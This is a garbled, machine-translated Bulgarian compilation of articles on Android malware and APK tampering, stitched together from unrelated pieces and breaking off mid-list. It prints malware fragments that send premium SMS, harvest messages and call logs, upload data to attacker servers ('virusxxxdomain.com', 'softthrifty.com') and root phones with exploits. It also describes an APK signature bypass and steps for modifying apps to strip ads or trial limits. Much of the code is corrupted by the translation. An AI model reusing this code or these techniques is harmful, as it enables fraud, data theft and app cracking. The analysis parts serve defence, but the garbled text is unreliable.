Описание на злонамерен софтуер за Android. Отваряне, модифициране и пакетиране на приложения за Android Анализиране на злонамерена програма

Колекцията от злонамерени Android приложения на някои антивирусни лаборатории вече съдържа повече от 10 милиона проби. Тази цифра вълнува въображението, но приблизително 9 милиона 995 хиляди от тях са преименувани на копия на оригиналните вируси. Но ако анализирате изходния код на останалите няколко хиляди образци на злонамерен софтуер, ще забележите, че всички те са комбинирани от малък брой уникални функционални блока (няколко модифицирани и комбинирани по различни начини).

Работата е там, че вирмейкърите най-често преследват много тривиални задачи:

  • изпращане на текстово съобщение до платен номер;
  • да завладее поверителна информация на потребителя ( телефонни номера, текстове на съобщения, данни от SD картата и т.н.);
  • събиране на данни за заразеното устройство;
  • да придобиете администраторски права на устройството (да инсталирате приложения без разрешението на собственика или да деактивирате злонамерено устройството);
  • проследяване на входове, пароли и данни за платежни карти, които потребителят въвежда в сайтовете на системите за интернет банкиране. Как го правят? Нека се опитаме да влезем в мрачния свят на мобилното изработване на wyrmaking и да видим какво се случва там.

Изпращане на SMS

Кой използва:

  • AdSms;
  • FakePlayer;
  • HippoSms.

Най-често срещаният тип вирус са SMS троянски коне. Тези вируси просто изпращат съобщения до номера за пътни таксибез съгласието на потребителя. Доста лесно е да създадете такава програма или да пренапишете готова за желания номер. А процесът на получаване на ползи е изключително опростен – за разлика например от проследяването на банкови данни.

Следното е най-простият примеркод. Това е елементарна функция изпращане на SMS... Може да се усложни, като проверите състоянието на изпращане, изберете номера в зависимост от местоположението на абоната и след това изтриете SMS.

Частен статичен SendSms (String DestNumber, String SmsText) (// Опит за стартиране на метода sendTextMessage на обекта SmsManager ( стандартна програмаза изпращане на SMS от текущото устройство) с минимален брой параметри: номер на получател и текст на съобщението опитайте (SmsManager.getDefault (). sendTextMessage (DestNumber, null, SmsText, null, null); върнете true;))

Къде да намеря вирусния код

В по-голямата част от случаите телефонът се заразява чрез инсталиране на приложения. Всяко приложение за Android съществува като файл с разширението apk, което всъщност е архив. Можете да видите съдържанието му от използвайки Android SDK, APK към JAR конвертор и Java Bytecode Decompiler. Изграждането на приложения (APK) се състои от следните части:

  • resources.arsc - таблица с ресурси;
  • res (папка) - действителните ресурси (икони и др.);
  • META-INF (папка) - съдържа файлове със следното съдържание: контролни суми на ресурсите, сертификат на приложението и описание на APK сглобката;
  • AndroidManifest.xml - всякаква служебна информация. Включително разрешения, които приложението изисква преди инсталиране за правилната му работа;
  • classes.dex - вероятно сте чували това в Операционен Androidсистеми, целият код се изпълнява с помощта на виртуалната машина Dalvik (започвайки с поддръжка на версия 4.4 за ART), която не разбира нормалния Java байткод. Следователно има файлове с разширението dex. Наред с необходимите и полезни класове (които отговарят за функционалността на приложението), то съдържа и злонамерени (вирусният код, който анализираме в тази статия).

Записване на потребителска информация до текстов файл

Кой използва:

  • NickySpy;
  • SmsSpy.

Има категория вируси, които търсят лични данни на потребителите. Техният механизъм на действие също е прост. Те или качват потребителски файлове на сървъра на техния създател, или предварително събират всякакви данни в txt (CSV, XML - не е задължително). Интерес за киберпрестъпниците могат да бъдат контакти от всякакъв тип, съобщения от различни месинджъри, медийни файлове и т.н.

SMS на заразени потребители са особено ценни за телефонните номера на подателите и получателите - те могат да се използват за добавяне към базата данни за спам писма. По-рядко вируси от този вид се използват за заразяване на устройства на конкретни лица – следващия път, когато приятелката ви ви покани да тествате приложение, написано за нея (ай, карамба! – Ед.) На Android, не губете бдителността си :).

// Пребройте броя на SMS на устройството arrayOfObject = (Object) localBundle.get ("pdus"); int j = arrayOfObject.length; // Преминаване през всеки SMS i = 1 докато (true) (ако (i> = j) прекъсва; // Създайте обект на SMS съобщение SmsMessage localSmsMessage = SmsMessage.createFrompdu ((byte) arrayOfObject [i]); // Поставете в низови променливи номер на подателя, текст и час на изпращане на SMS String MessageNumber = localSmsMessage.getOriginatingAddress (); String MessageText = localSmsMessage.getDisplayMessageBody (); long l = localSmsMessage.getTimestampMillis (); Дата localDate = St MesstelFormat new (Date localDate = MesstelFormat); ("yyyy-MM-dd HH: mm: ss"). формат (localDate); // Формирайте низ от получените данни и го запишете в текстов файл с помощта на потребителския метод WriteRec String MessageInfo = 7MessageNumber + "#" + MessageText + "#" + MessageTimeDate + ";" WriteRec (paramContext, "sms.txt", MessageInfo); // Отидете на следващото съобщение i + = 1;) Също така е удобно да попълвате списъка със спам от обаждането на абоната история. Този код може да се изпълнява при входящо повикване: If (parmIntent.getAction (). Equals ("android.intent.action.NEW_OUTGOING_CALL")) (// Поставете номера на абоната в променливата String phonenumber = paramIntent.getStringExtra ("android .intent. extra.PHONE_NUMBER "); // Формирайте низ от номера и датата на повикването String PhoneCallRecord = phonenumber +" # "+ getSystemTime (); // Извикване на метода WriteRec () (кодът му не се показва тук ), който добавя ред към текстов файл с история на обажданията WriteRec (paramContext, "phonecall.txt", PhoneCallRecord);)

След като информацията бъде записана, тя се препраща към „десните ръце“. Кодът по-долу изтегля историята на обажданията на сървъра:

Private void uploadPhonecallHistory () хвърля IDException (докато (true) (връщане; // Проверете дали файлът, от който се нуждаем, съществува, ако (! FileIsExists (/data/data/spyapp.pg/files/phonecall.txt ")) продължава; // Създайте обект - програма за качване на файл UploadFiles localUploadFiles = new UploadFiles (); String uploadkeynode = getKeyNode ("uid", "uid_v"); // Изпълнете метода.advanceduploadfile (кодът му не е показан тук), за да качите файла на сървъра на "вирусния производител" localUploadFiles. advanceduploadfile (uploadkeynode, "/ data / data / spyapp.pg / files / phonecall.txt");))

Събиране на информация

Кой използва:

  • DroidKungFu;
  • DroidDream;
  • преобладаващото мнозинство от всички подобни зловреден софтуер.

По принцип всеки производител на вируси може да използва информация за устройствата, заразени от неговите програми. Много е лесно да го получите. Създава се масив с данни за свойствата на телефона (техн пълен списъкможе да се намери в ръководството за разработчици на Android) и се изпраща като POST заявка към PHP скрипт (език е безпринципен) на сървъра на нападателя, който обработва данните и ги поставя в база данни за по-късна употреба.

Private void reportState (int paramInt, string paramString) (// Създайте масив и поставете информация за услугата в него ArrayList UserInformation = new ArrayList (); UserInformation.add (нов BasicNameValuePair ("imei", this.mImei)); UserInformation.add ( нов BasicNameValuePair ("taskid", this.mTaskId)); UserInformation.add (нов BasicNameValuePair ("state", Integer.toString (paramInt))); // Ако функцията има параметър "paramString (comment)", поставете то в масива и неговото if (paramStrng! = null) && (! "". равно (paramString))) UserInformation.add (нов BasicNameValuePair ("коментар", paramString)); // Създаване на HTTP POST заявка с адреса на скрипта, който събира данни HttpPost localHttpPost = new HttpPost ("http://search.virusxxxdomain.com:8511/search/rtpy.php"); опитайте (// Добавете нашия масив от данни към заявката и го изпълнете с помощта на стандартен HTTP клиент localHttpPost.setEntity (нов UrlEncodeFormEntity (UserInformation, "UTF-8"))); нов DefaultHttpClient ().изпълни (localHttpPost) .getStatusLine.getStatusCode (); връщане; ))

Вкореняване

Кой използва:

  • DroidKungFu;
  • DroidDream;
  • RootSmart.

Едно от най-разочароващите неща, които могат да се случат на устройство с Android, е руутването му с вирус. В крайна сметка, след това злонамерената програма може да направи всичко с нея: да инсталира други вируси, да промени настройките хардуер... Това действие се извършва чрез последователно стартиране на експлойти:

Private void RootFunc () (ApplicationInfo localApplicationInfo = getApplicationInfo (); / * "ratc" е копие на известния корен на Rage Against The Cage. Kiall - спира всички процеси, стартирани от текущото приложение. Gjsvro - експлоат за придобиване на udev права (използва се в Linux системи за разширена работа с хардуер и мрежови интерфейси) Копирайте всичко това на правилното място * / Utils.copyAssets (това, "ratc", "/ data / data" + localApplicationInfo.packageName + "/ ratc"); Utils .copyAssets (това, "killall", "/ data / data" + localApplicationInfo.packageName + "/ killall"); Utils.copyAssets (това, "gjsvro", "/ data / data" + localApplicationInfo.packageName + "/ gjsvro "); // И стартирайте с помощта на командния ред Utils.oldrun (" / system / bin / chmod "," 4755 /data/data"+localApplicationInfo.packageName + "/ ratc"); Utils.oldrun ("/ system / bin / chmod "," 4755 /data/data"+localApplicationInfo.packageName + "/ killall"); Utils.oldrun ("/ system / bin / chmod", "4755 /data/data"+localApplicationInfo.packag eName + "/ gjsvro"); нов MyTread.start (); )

Уебсайтове за мобилен злонамерен софтуер

Блог на експерти на компанията Kasperskiy Lab Този ресурс съдържа висококачествени и подробни статии за много аспекти на компютърната сигурност, включително вируси за Android. Струва си да посещавате този сайт редовно, за да сте в крак с най-новите разработки.

Групата е посветена на инструмент с отворен код за всякакви манипулации с кода на Android приложения (декомпилиране и модифициране на DEX / ODEX / APK файлове и т.н.). Androguard също така съдържа обширна база данни от статии за вируси. В допълнение към кратки прегледи на функционалността и методите за защита, има подробни анализи на кода на зловреден софтуер.


Разделът за мобилни заплахи на www.fortiguard.com Енциклопедия за телефонни вируси. Всяка статия е преглед на функционалността, подправен със значително количество технически подробности. В допълнение към информацията за заплахи за операционната Android системи, има статии за вируси за Symbian OS, iOS и други платформи.


Защита от вирус

Някои потребители смятат, че ако изтегляте приложения изключително от Google Playи инсталирайте антивирусна програма на вашия смартфон, това гарантира 100% сигурност. Не се заблуждавайте: има редовни доклади в мрежата, че злонамерен софтуер се намира на официалния пазар. А броят на новопоявяващите се злонамерени програми се измерва в стотици хиляди на месец, което затруднява навременното им влизане в бази данни. антивирусен софтуер... Истинска гаранция за сигурност може да бъде дадена чрез ръчно разглеждане на кода на APK файла, преди да го инсталирате на телефона. Не е нужно да сте гуру по кодиране, за да забележите злонамерените фрагменти. И нашата статия ще ви помогне с това.

Заключение

Както можем да видим от примерите, мобилното окабеляване не се различава по технологична сложност. Разбира се, тези примери са опростени, за да паснат на регистрационния формат - на първо място липсват манипулатори на грешки и изключения, както и някои технически подробности, отсъствието на които няма да ви попречи да разберете принципите на зловреден софтуер за Android, но ще защити ти от ненужни експерименти. Ние не подкрепяме създаването на вируси, нали? 🙂

Extra Field е уязвимост в Google Android, която позволява на нападателите да променят съдържанието на инсталационния пакет на което и да е приложение за тази ОС, без да повредят цифровия му подпис. Използвайки тази уязвимост, авторите на вируси могат да разпространяват троянски коне, като инжектират зловреден компонент в легитимно или доверено приложение.

Dr.Web Anti-virus за Android не може да елиминира тази уязвимост, тъй като се открива на ниво сама операционна система, но успешно открива и премахва зловредни програми, които се разпространяват с негова помощ, дори когато се опитват да проникнат и стартират на защитеното устройство.

Технически подробности

Разпределения на приложения в операционната зала google системи Android се разпространяват под формата на .APK файлове, които са ZIP архив, който съдържа всички компоненти, необходими за работа на приложението. По време на процеса на инсталиране те се извличат от архива и техните контролни суми се проверяват в специален списък. Всяко приложение има собствен цифров подпис.

Чрез използване на уязвимостта Допълнително поле, нападателите могат да променят структурата на APK архива: когато добавят към неговото служебно поле стойността на един от оригиналните програмни компоненти (по-специално файла classes.dex) без първите три байта и едновременно с това поставят модифицирана версия на този файл на свое място, последният се възприема от операционната система като легитимен и разрешен за инсталиране. Въпреки факта, че потенциалната експлоатация на тази уязвимост е ограничена от размера на dex файла, който трябва да бъде не повече от 65 533 байта, киберпрестъпниците, които се интересуват от атаката, могат лесно да я експлоатират, като вземат за основа безвредна програма или игра с компонент с подходящ размер.

Файлът classes.dex съдържа компилирания код на приложението вътре в APK файла. Заглавката на APK пакета включва малко пространство, което съхранява името на файла с разширение .dex, както и поле, наречено допълнително поле, което съхранява съдържанието на файла classes.dex и списък с класове, използвани от приложението. Ако полето на заглавката се съкрати с три байта, стойността на дължината на съответното поле се променя, което позволява на нападателите да включат оригиналния classes.dex в допълнителното поле, както и злонамерено копие на този файл, част от което също ще бъде поставени в допълнителното поле. Промененото поле може да съдържа злонамерено създадени класове, които носят злонамерена функционалност. При инсталиране на приложението операционната система чете съдържанието на това поле, в резултат на което модифицираният от киберпрестъпници файл classes.dex се инсталира на атакуваното устройство.

Загубили сте източника на вашата програма и трябва да възстановите кода. Изтеглили сте програма с вирус и искате да знаете какво прави.

Програмите за Android се разпространяват в архиви. Тези архиви имат разширението ".apk". Тези файлове не са криптирани и по същество са "zip" файлове. Можете да преименувате apk файла в zip, за да потвърдите това.

Трябва да копаете по-дълбоко в APK файла и да получите някои данни. Можете да тренирате на котки. Да вземем нашата програма "Hello Kitty", да намерим нейния apk-файл в папката на проекта app \ build \ изходи \ apkи го преместете в отделна папка за експерименти.

След като разопаковате архива, можете да видите структурата на приложението и да срещнете познати файлове. И дори извлечете някои файлове за гледане. Например в папката res / drawable-hdpi-v4Намерих моята снимка pinkhellokitty.png... Изглежда, че това е щастие. Но чакайте, радвайте се. Ако няма проблеми с изображенията, тогава четенето на XML файла е проблем. Някои редове са видими за вас, но като цяло текстът е напълно нечетлив. Затова, първо, нека отидем по другия път.

Тъй като персонализираните приложения за Android работят в java машина, APK файловете наследяват всички характеристики на JAR файл.

Съдържанието на архива обикновено изглежда така:

Директорията META-INF съдържа:

CERT.RSA - сертификат за кандидатстване
CERT.SF - контролни суми на ресурсни файлове (изображения, звуци и т.н.)
MANIFEST.MF - служебна информация, описваща самия apk файл

Разбор на зловредния софтуер

Вземете за пример програмата подозрителен.apk, който се открива от различни антивирусни програми като зловреден софтуер.

За да разберете по-добре какво точно да търсите, трябва да анализирате файла "AndroidManifest.xml", за да видите какви разрешения изисква анализираното приложение. Този файлдвоичен, а не обикновен текст xml. За да го прочетете, трябва да използвате конзолната помощна програма "aapt" от комплекта Android SDK... Той се намира в директорията "platform-tools". Тъй като няма графичен интерфейс, командата трябва да бъде въведена в конзолата. Например за Windows:

C: \ android-sdk-windows \ platform-tools \ aapt.exe l -a C: \ incoming \ suspicious.apk

Разбира се, трябва да замените пътищата си. В Linux командата ще бъде същата с очевидни разлики (няма да има букви на устройството и разширението "exe" за помощната програма). За повече удобство изходът може да бъде пренасочен към файл:

C: \ android-sdk-windows \ platform-tools \ aapt.exe l -a C: \ incoming \ suspicious.apk >> C: \ incoming \ manifest.txt

Във файла трябва да намерите секцията „Манифест на Android“ и да потърсите изброяване на разрешенията. В анализирания файл изглежда така:

"android.permission.READ_PHONE_STATE" (Raw: "android.permission.READ_PHONE_STATE") "android.permission.INTERNET" (Raw: "android.permission.INTERNET") "android.permission." (Необработено: "android.permission.RECEIVE_SMS")

От тази информация става ясно, че програмата може да получи състоянието на телефона (това включва например „телефон в режим на повикване“, „телефон в режим на получаване на данни“). Това разрешение е необходимо и за получаване на телефонния номер, на който се изпълнява програмата, работа с мрежата и наблюдение на пристигането на SMS. Именно тези аспекти трябва да бъдат насочени към по-нататъшен анализ.

За да получите достъп до кода, трябва да изпълните две стъпки - да конвертирате apk файла в jar файл и да декомпилирате получения байткод в по-четлива от човека форма.

Нека използваме конвертора dex2jar:

C: \ dex2jar \ dex2jar.bat C: \ incoming \ suspicious.apk

Преобразуваният файл ще бъде разположен в същата директория като оригиналния файл. ".Dex2jar.jar" ще бъде добавен към името му, тоест в този примерще бъде "suspicious.apk.dex2jar.jar".

Този файл може да се отвори с декомпилатор. Йерархията на пакетите в прозореца на декомпилатора изглежда така:


С това подготвителните стъпки завършват – по-нататъшният успех зависи само от познанията ви по Java и умението да използвате търсачка.

За щастие избраната за този пример проба има доста скромен размер - крайният буркан е само 7,01 KB.

В програмата има шест класа. Нека изключим тези, които не представляват интерес. Това е R клас, който изброява само идентификаторите на всички ресурси. Можете също да изключите класа от разглеждане Конфигкойто съдържа конфигурацията за изграждане.

Нека разгледаме по-отблизо останалите три класа.

Активиране

Този клас се задейства при събитие onCreate (), тоест веднага след началото на приложението.

TelephonyManager localTelephonyManager = (TelephonyManager) getSystemService ("телефон");- създава localTelephonyManager, в който поставя данни за устройството.

str1 = localTelephonyManager.getDeviceId ();- избира идентификационния номер на устройството от получените данни и го поставя в низа str1

Следва цикълът, който разделя DeviceIdна парчета от четири числа, като между тях се вмъква тире "-", тоест XXXXXXXXXXXXXXXX се оказва XXXX-XXXX-XXXX-XXXX. Полученият низ от числа и тирета се предава на TextViewс идентификационен номер 2131034112.

SMSReciever

Този клас се задейства, когато пристигне SMS съобщение, събитието при получаване ().

Задачата на този клас е да проследява входящите SMS и, ако бъде открит, да стартира класа Основна услуга, предавайки му указател към ново входящо съобщение.

Основна услуга

Този клас е доста голям, така че няма да го давам изцяло. Веднага след повикването той стартира подкласа SmsBlockerThread, който блокира известяването за входящ SMS, така че потребителят да не бъде уведомен за нов входящ SMS.

След това входящият SMS се обработва по следния начин:

Низ str1 = localSmsMessage.getOriginatingAddress ();- телефонният номер на получателя (тоест телефонният номер, на който е инсталиран троянската програма) се поставя в променлива str1.

Низ str2 = localSmsMessage.getMessageBody ();- тялото на съобщението се поставя в променливата str2

След това се създават свързани двойки localBasicNameValuePair1и localBasicNameValuePair2в който са поставени стойностите

F0 =<номер телефона>b0 =<текст сообщения>

Тези двойки се съхраняват в масива localArrayList, към който по-късно се добавя двойката localBasicNameValuePair3представляващ идентификатор =

В същото време, както виждате, DeviceIdсе получава наново, вместо да се използва полученото в класа Активиране... Завършва с извикването на метода след заявка ()от последния клас ServerSession:

Опитайте (JSONObject localJSONObject = ServerSession.postRequest (нов UrlEncodeFormEntity (localArrayList)); return;)

Същият масив от двойки се предава като параметър, в който се предават телефонният номер, SMS съдържанието и ID на устройството.

ServerSession

Този клас има два метода: initUrl ()който връща частта за връзка "(http://softthrifty.com/security.jsp)":

Публичен статичен низ initUrl () (връщане "http://softthrifty.com/security.jsp";)

и страхотен метод след заявка ()който беше извикан от класа Основна услуга... Въпреки размера, задачата след заявка ()просто - изпратете до сървъра, като използвате връзката, върната от метода initUrl (), данни чрез добавяне на двойки от масива, събран в Основна услуга... Тоест, просто се обърнете към връзката:

(http://softthrifty.com/security.jsp?f0=<номер телефона>& b0 =<текст сообщения>& ID = )

Резултат

И така, този троянец прихваща SMS и изпраща заявка до сървъра, в която предава номера на заразения телефон, съдържанието на SMS и идентификатора на заразения телефон. Това поведение може да е симптом на банков троянски кон, който атакува двуфакторна автентификация. За успешна атака трябва да бъдат изпълнени следните условия:

1) нападателят трябва да зарази компютъра на жертвата, за да прихване данни за онлайн банкиране;
2) нападателят трябва да зарази телефона на жертвата, за да прихване SMS с код за потвърждение от банката;
3) нападателят трябва по някакъв начин да свърже потребителя на заразения компютър и заразения телефон, за да разбере от кои идентификационни данни за онлайн банкиране се използва този код за потвърждение;

Поради своя размер и очевидността на извършваните дейности, такава извадка е много подходяща за демонстриране на основни техники за анализиране на зловреден софтуер за Android.

Описание на зловреден софтуер софтуерни инструментиза android

Александър Антипов

Докладът на McAfee за състоянието на заплахата за първото тримесечие показва идентифицирани 6 милиона уникални проби от злонамерен софтуер.


Докладът на McAfee за състоянието на заплахата за първото тримесечие показва идентифицирани 6 милиона уникални проби от злонамерен софтуер. В този смисъл първото тримесечие на 2011 г. е най-продуктивно по отношение на броя на открити злонамерени програми в сравнение със същите периоди през всички предходни години. Докладът на McAfee отбелязва, че устройствата с Android все повече се превръщат в носители на зловреден софтуер. Според експерти, Android през първото тримесечие на тази година стана втората най-популярна мобилна цел за проникване сред киберпрестъпниците след Symbian.

В тази статия ще ви преведем през различните етапи на софтуерния анализ, като по този начин ще ви позволим да разберете какви точно са уязвимостите на платформата Android и как нападателите ги експлоатират. Първо, ще започнем с обсъждане на историята на разработката на Android и след това ще преминем към основите на това как работят пакетите за конфигурация на платформата. В същото време ще анализираме подробно всички зловреден софтуер, насочен специално за Android.

Въведение в платформата Android

Android е операционна системаза мобилни телефони, комуникатори, таблетни компютрии други устройства, базирани на ядрото на Linux. Разработчиците пишат приложения за Android основно на езика Java, осигурявайки управление на устройството с помощта на Java библиотека, разработена от Google. Компилаторът на Android Java компилира набор от файлове за разработчици в класови файлове и след това клас файловете се преобразуват в dex файлове. Тези файлове имат байткод, специално използван за разпознаване виртуална машина Dalvik е време за изпълнение на байткод на Java приложение (JVM), което работи на специално приложение за Android. XML файловете се конвертират в двоичен формат, оптимизиран за създаване на малки файлове. .Dex файлове, XML двоични файлове и други ресурси, необходими за стартиране на приложения, са пакетирани в пакет файл за Android. Тези файлове имат разширението .apk, но са стандартни ZIP файлове. След като се формира apk пакетът, той се подписва цифрово от разработчика и се качва на Android Marketчрез уебсайта на google, откъдето потребителят може да изтегли тези apk файлове и да ги инсталира на своето устройство с Android. Понастоящем има над 2 милиона приложения за изтегляне в централния магазин за приложения за Android и освен това, имайте предвид, че приложенията на Google за Android могат да бъдат изтеглени и от други сайтове на трети страни.

Изисквания

  • Инструмент за разопаковане на Apk файлове - Winzip
  • Инструмент за конвертиране на .dex файлове в .jar файлове: .. Dex2jar
  • Графичен инструмент за декомпилиране на Java: JD-GUI
  • Извадки от злонамерен софтуер за Android за анализ

Подробни стъпки

Стъпка I:
За да започнете процедурата за анализ на зловреден софтуер, първо трябва да изтеглите злонамерена извадка, насочена към платформата Android. В този случай ще изтеглим iCalendar.apk, който се превърна в едно от 11-те подозрителни приложения, премахнати от Android Market, тъй като беше установено, че съдържа зловреден софтуер в Gadget Media. Тестът на заявката VirusTotal показа процент на откриване от 46,5%, както е показано на фигурата по-долу.


Ориз. 1

Стъпка II:

Извлечете файла iCalendar.apk с помощта на Winzip, след което можете да видите съдържанието на .apk файла

Ориз. 2. .dex и. XML файловете, обсъдени по-рано в тази статия, са показани на фиг. 2.

Стъпка III:

Следващата стъпка е да изпълните кода с помощта на инструмента "dex2jar". Инструментариумът dex2jar преобразува изпълними .dex файлове на Dalvik в Java .class файлове. "Classes.dex" - файлът от нашето приложение отива в директорията dex2jar "и се преобразува с помощта на следната команда: dex2jar.bat classes.dex.

Ориз. 3 Създаване на файлове "classes.dex.dex2jar.jar" в една директория.

Ориз. 4

Стъпка IV:

Използвахме JD-GUI за преглед на .class файловете. Отворете файла "Classes.dex.dex2jar.jar" с помощта на JD-GUI.

Ориз. 5: Показан е пълен изходен код на приложения за Android.

Стъпка V:
След получаване програмен кодприложение, можете да анализирате действителния източник и да проверите за проблеми. Беше отбелязано, че файлът с името на класа "SmsReceiver.class" изглежда малко странно, тъй като това е календарът на приложението и SmsReceiver не се изисква в този случай. При по-нататъшна проверка на изходния код на "SmsReceiver.class" се установи, че той съдържа три числа 1066185829, 1066133 и 106601412004, които изглеждат доста подозрителни. По-специално, ситуацията е подобна на опит за блокиране на съобщения, изпратени от определени номера до устройство с Android, кога това приложениебеше инсталиран и пуснат.

Ориз. 6

След търсене на тези номера през Google се установи, че това са номерата на SMS услуга, собственост на China Mobile (фиг. 7).

Ориз. 7

Опитахме се да анализираме защо приложението се опитва да блокира отчетите за доставка от горните номера в следващите стъпки.

Стъпка VI:
След като приключите с анализа на файла "SmsReceiver.class", преминете към анализа на кода на следващия .class файл, т.е. "iCalendar.class". Първият изглежда най-подозрителен. По-специално, забелязахме, че определена функция sendSms () присъства във функцията showImg ().

Ориз. осем

И така, започнахме да проверяваме файла "sendSms ()", за да видим спецификата при изпълнението на командата. Както е показано на фигурата по-долу, виждаме, че когато функцията sendSms () е активирана, SMS с текст 921X1 автоматично се изпраща на номер 1066185829.

Ориз. девет

Стъпка VII:
В края на функцията sendSms () забелязахме наличието на команда за запазване на функцията. По този начин потърсихме функцията save () вътре в кода и открихме нейната пряка връзка с функцията sendSms ().

Ориз. десет

След извършване на подходящия анализ и изясняване на различни аспекти на функцията save (), беше установено, че редът "Y" се предава всеки път, когато се изпълнява функцията save (). Освен това беше заключено, че функцията sendSms () може да бъде извикана само веднъж, но не повече, тъй като за функцията sendSms () има зададен цикъл „if“.

Стъпка VIII:
Чрез комбиниране на резултатите от целия анализ можете да получите ясна представа за пълното функциониране на различни видове злонамерени програми.

Приложението изпраща SMS до премиум номер 1066185829 с текст 921X1. Успоредно с това всички входящи отчети за доставка на съобщения до този номер се блокират и в резултат на това жертвата няма да получи никакъв сигнал за съществуването на такъв SMS, изпратен от приложението до заден план... Освен това SMS се изпраща само веднъж и жертвата всъщност не може да подозира по никакъв начин какво всъщност е причинило тегленето на средства от сметката.

Ориз. 11: Пълни заключения относно зловреден софтуер за цикъл на iCalendar.apk

заключение:

Зловредна програма с root достъп до телефона не само има способността да чете всички данни, съхранявани в него, но също така може да ги прехвърли на абсолютно всяко място. Тази информация може да включва Информация за връзка, документи и дори пароли за акаунти. В наличие на корендостъп, е възможно да се инсталират други компоненти, които не са налични за разглеждане потребителски интерфейстелефона и следователно не може лесно да бъде премахнат. Основните начини за защита на приложенията от зловреден софтуер за платформата Android са изброени по-долу:
  • Изтеглете приложението само от доверени източници;
  • Проверка на съответните оценки и рецензии, преди да изтеглите приложението;
  • Внимателна оценка на разрешенията на конкретни приложения;
  • Инсталация на ОС актуализации за Android, тъй като са готови;
  • Инсталиране на програми за защита на мобилни приложения.

Документът предоставя пример за щетите, нанесени от зловреден софтуер софтуернищо неподозиращи потребители. Ако човек не знае за съществуването си, тогава такива програми стават достъпни за извършване на почти всяко неразрешено действие във фонов режим. Работата със злонамерен софтуер може да доведе до финансови загубиза потребителя чрез дебитиране на средства от неговите баланси, както и кражба на пароли. Те също могат да повредят самия телефон. Както можете да видите, много е важно да вземете адекватни предпазни мерки своевременно, за да предотвратите навлизането на тези видове приложения във вашия телефон. По-добре да играете на сигурно веднъж, отколкото да съжалявате десет пъти.

Понякога някои приложения на Android не отговарят на потребителя по някакъв начин. Пример за това са досадните реклами. И това също се случва - всички са добри в програмата, но само преводът в нея или е изкривен, или напълно липсва. Или, например, пробна програма и вземете пълна версияняма възможност. Как може да се промени ситуацията?

Въведение

В тази статия ще говорим за това как да разглобим APK пакет с приложение, да разгледаме вътрешната му структура, да разглобим и декомпилираме байт-кода, както и да се опитаме да направим няколко промени в приложението, които могат да ни донесат една или друга полза.

За да направите всичко това сами, ще ви трябва поне основни познания за езика Java, на който са написани приложенията за Android, и езика XML, който се използва навсякъде в Android - от описанието на самото приложение и неговите права за достъп до съхраняване на низовете, които ще се показват на екрана. Ще ви е необходима и способност за работа със специализиран конзолен софтуер.

И така, какво точно представлява пакетът APK, в който се разпространява абсолютно целият софтуер за Android?

Декомпилиране на приложения

В тази статия работихме само с разглобен код на приложението, но ако направите по-сериозни промени в големи приложения, ще бъде много по-трудно да разберете smali кода. За щастие можем да дексираме dex кода в Java код, който, въпреки че не е оригинален и не е компилиран обратно, е много по-лесен за четене и разбиране на логиката на приложението. За да направим това, имаме нужда от два инструмента:

  • dex2jar - преводач на Dalvik байткод в JVM байткод, на базата на който можем да получим код на езика Java;
  • jd-gui е самият декомпилатор, който ви позволява да получите четим Java код от JVM байткод. Като алтернатива можете да използвате Jad (www.varaneckas.com/jad); въпреки че е доста стар, в някои случаи генерира по-четлив код от Jd-gui.

Те трябва да се използват по този начин. Първо, стартираме dex2jar, като указваме пътя към apk пакета като аргумент:

% dex2jar.sh mail.apk

В резултат на това пакетът mail.jar Java ще се появи в текущата директория, която вече може да бъде отворена в jd-gui, за да видите Java кода.

Устройство за пакетиране на APK и получаването им

Найлонов плик приложения за Androidвсъщност е обикновен ZIP файл, не са необходими специални инструменти за преглед и извличане на съдържанието. Достатъчно е да имате архиватор - 7zip за Windows или console unzip за Linux. Но това е за обвивката. Какво има вътре? Вътре обикновено имаме следната структура:

  • МЕТА-ИНФ /- съдържа цифров сертификат на приложението, удостоверяващ неговия създател, и контролни суми на пакетните файлове;
  • res / - различни ресурси, които приложението използва в работата си, например изображения, декларативно описание на интерфейса и други данни;
  • AndroidManifest.xml- описание на приложението. Това включва например списък с необходимите разрешения версия на Androidи необходимата разделителна способност на екрана;
  • класове.dex- компилиран байт код на приложението за виртуалната машина Dalvik;
  • ресурси.arsc- също ресурси, но от различен вид - по-специално низове (да, този файл може да се използва за русификация!).

Изброените файлове и директории са, ако не във всички, то може би в по-голямата част от APK. Има обаче още няколко не толкова често срещани файла / директории, които си струва да се спомене:

  • активи- аналог на ресурсите. Основната разлика е, че за достъп до актив трябва да знаете неговия идентификатор, докато списъкът с активи може да бъде получен динамично с помощта на метода AssetManager.list () в кода на приложението;
  • lib- собствени Linux библиотеки, написани с NDK (Native Development Kit).

Тази директория се използва от производителите на игри, които поставят двигателя на играта, написан на C / C ++, както и от разработчиците на високопроизводителни приложения (напр. Google Chrome). Устройството беше подредено. Но как да получите самия пакетен файл за приложението, което представлява интерес? Тъй като не е възможно да вземете APK файлове от устройството без root (те са в директорията / data / app) и root не винаги е препоръчително, има поне три начина да получите файла на приложението на компютъра:

  • Разширение за изтегляне на APK за Chrome;
  • Real APK Leecher приложение;
  • различни споделяне на файлове и warezniki.

Кое да използвате е въпрос на вкус; ние предпочитаме да използваме отделни приложения, така че ще опишем използването на Real APK Leecher, особено след като е написан на Java и съответно ще работи дори в Windows, дори в nix.

След като стартирате програмата, трябва да попълните три полета: Имейл, Парола и Идентификатор на устройството - и да изберете език. Първите две са електронната поща и паролата на вашия акаунт в Google, които използвате на устройството. Третият е идентификаторът на устройството и можете да го получите, като наберете кода на дайлера # #8255## и след това намиране на реда Device ID. Когато попълвате, трябва да въведете само ID без префикса android-.

След попълване и запазване често изскача съобщението „Грешка при свързване със сървъра“. Няма нищо общо с Google Play, така че не се колебайте да го игнорирате и да потърсите пакетите, които ви интересуват.

Преглед и Промяна

Да предположим, че сте намерили пакет, който ви интересува, изтеглили сте, разопаковали... и докато се опитвах да прегледам някакъв XML файл, бях изненадан да открия, че файлът не е текстов. Как да го декомпилирам и как да работим с пакети като цяло? Наистина ли е необходимо да инсталирате SDK? Не, не е нужно да инсталирате SDK. Всъщност всички стъпки за разопаковане, модифициране и пакетиране на APK пакети изискват следните инструменти:

  • ZIP архиваторза разопаковане и опаковане;
  • smali- байт код на асемблер/дизассемблер на виртуалната машина Dalvik (code.google.com/p/smali);
  • подходящ- инструмент за опаковане на ресурси (по подразбиране ресурсите се съхраняват в двоична форма за оптимизиране на производителността на приложението). Включен с Android SDK, но може да се получи и отделно;
  • подписващо лице- инструмент за цифров подписмодифициран пакет (bit.ly/Rmrv4M).

